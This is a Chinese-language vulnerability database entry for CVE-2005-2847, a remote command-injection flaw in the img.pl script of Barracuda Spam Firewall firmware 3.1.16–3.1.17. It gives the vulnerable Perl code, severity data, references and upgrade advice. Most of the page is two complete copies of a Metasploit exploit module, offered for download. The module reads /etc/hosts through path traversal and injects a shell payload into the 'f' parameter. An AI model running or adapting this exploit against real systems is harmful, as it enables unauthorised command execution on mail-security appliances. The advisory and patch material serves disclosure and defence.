CVE-2005-2847
CVSS7.5
发布时间 :2005-09-08 06:03:00
修订时间 :2016-10-17 23:30:47
NMCOEP    

[原文]img.pl in Barracuda Spam Firewall running firmware 3.1.16 and 3.1.17 allows remote attackers to execute arbitrary commands via shell metacharacters in the f parameter.


[CNNVD]Barracuda Spam Firewall img.pl远程命令执行漏洞(CNNVD-200509-075)

        Barracuda Spam Firewall是用于保护邮件服务器的集成硬件和软件垃圾邮件解决方案。
        Barracuda Spam Firewall中存在远程命令执行漏洞。img.pl脚本在用户读取完文件会试图断开文件。在/cgi-bin/img.pl脚本中:
        my $file_img="/tmp/".CGI::param('f');
        open (IMG, $file_img) or die "Could not open image because: $!\n";
        ...
        unlink ($file_img);
        perl open函数还可以用于执行命令。如果字符串以"|"结束的话,脚本就会执行命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/h:barracuda_networks:barracuda_spam_firewall:3.1.16
cpe:/h:barracuda_networks:barracuda_spam_firewall:3.1.17

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2847
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2847
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200509-075
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=112560044813390&w=2
(UNKNOWN)  BUGTRAQ  20050901 [SecuriWeb.2005.1] - Barracuda SPAM firewall advisory
http://www.securityfocus.com/bid/14712
(PATCH)  BID  14712
http://www.securitytracker.com/alerts/2005/Sep/1014837.html
(VENDOR_ADVISORY)  SECTRACK  1014837
http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1
(VENDOR_ADVISORY)  MISC  http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1

- 漏洞信息

Barracuda Spam Firewall img.pl远程命令执行漏洞
高危 输入验证
2005-09-08 00:00:00 2006-08-23 00:00:00
远程  
        Barracuda Spam Firewall是用于保护邮件服务器的集成硬件和软件垃圾邮件解决方案。
        Barracuda Spam Firewall中存在远程命令执行漏洞。img.pl脚本在用户读取完文件会试图断开文件。在/cgi-bin/img.pl脚本中:
        my $file_img="/tmp/".CGI::param('f');
        open (IMG, $file_img) or die "Could not open image because: $!\n";
        ...
        unlink ($file_img);
        perl open函数还可以用于执行命令。如果字符串以"|"结束的话,脚本就会执行命令。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.barracudanetworks.com/ns/products/spam_overview.php

- 漏洞信息 (16893)

Barracuda IMG.PL Remote Command Execution (EDBID:16893)
cgi webapps
2010-04-30 Verified
0 metasploit
N/A [点击下载]
##
# $Id: barracuda_img_exec.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Barracuda IMG.PL Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
				Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.
			},
			'Author'         => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					['CVE', '2005-2847'],
					['OSVDB', '19279'],
					['BID', '14712'],
					['NSS', '19556'],
					['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 4000,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Sep 01 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),
			], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
			{
				'f' => ("../" * 8) + "etc/hosts"
			}
		}, 25)

		if (res and res.body.match(/localhost/))
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
			{
				'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
			print("")

			m = res.body.match(/YYY(.*)YYY/)

			if (m)
				print_status("Command output from the server:")
				print(m[1])
			else
				print_status("This server may not be vulnerable")
			end

		else
			print_status("No response from the server")
		end
	end

end
		

- 漏洞信息 (F82353)

Barracuda IMG.PL Remote Command Execution (PacketStormID:F82353)
2009-10-30 00:00:00
Nicolas Gregoire  
exploit,arbitrary
CVE-2005-2847
[点击下载]

This Metasploit module exploits an arbitrary command execution vulnerability in the Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Barracuda IMG.PL Remote Command Execution',
			'Description'    => %q{
				This module exploits an arbitrary command execution vulnerability in the
				Barracuda Spam Firewall appliance. Versions prior to  3.1.18 are vulnerable.			
			},
			'Author'         => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2005-2847'],
					['OSVDB', '19279'],
					['BID', '14712'],
					['NSS', '19556'],
					['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 4000,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Sep 01 2005',
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),
				], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' => 
			{
				'f' => ("../" * 8) + "etc/hosts"
			}
		}, 25)
		
		if (res and res.body.match(/localhost/))
			return Exploit::CheckCode::Vulnerable
		end
		
		return Exploit::CheckCode::Safe
	end
		
	def exploit
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' => 
			{
				'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!
			}
		}, 25)
		
		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
			print("")
			
			m = res.body.match(/YYY(.*)YYY/)
			
			if (m)
				print_status("Command output from the server:")
				print(m[1])
			else
				print_status("This server may not be vulnerable")
			end
			
		else
			print_status("No response from the server")
		end
	end
	
end

    

- 漏洞信息

19279
Barracuda Spam Firewall img.pl Traversal Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

Barracuda Spam Firewall contains a flaw that may allow a malicious user to execute arbitrary commands. The issue is triggered when metacharacters are passed to the 'f' parameter. It is possible that the flaw may allow arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-09-01 2005-06-14
2005-09-01 2005-09-01

- 解决方案

Upgrade to version 3.1.18 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站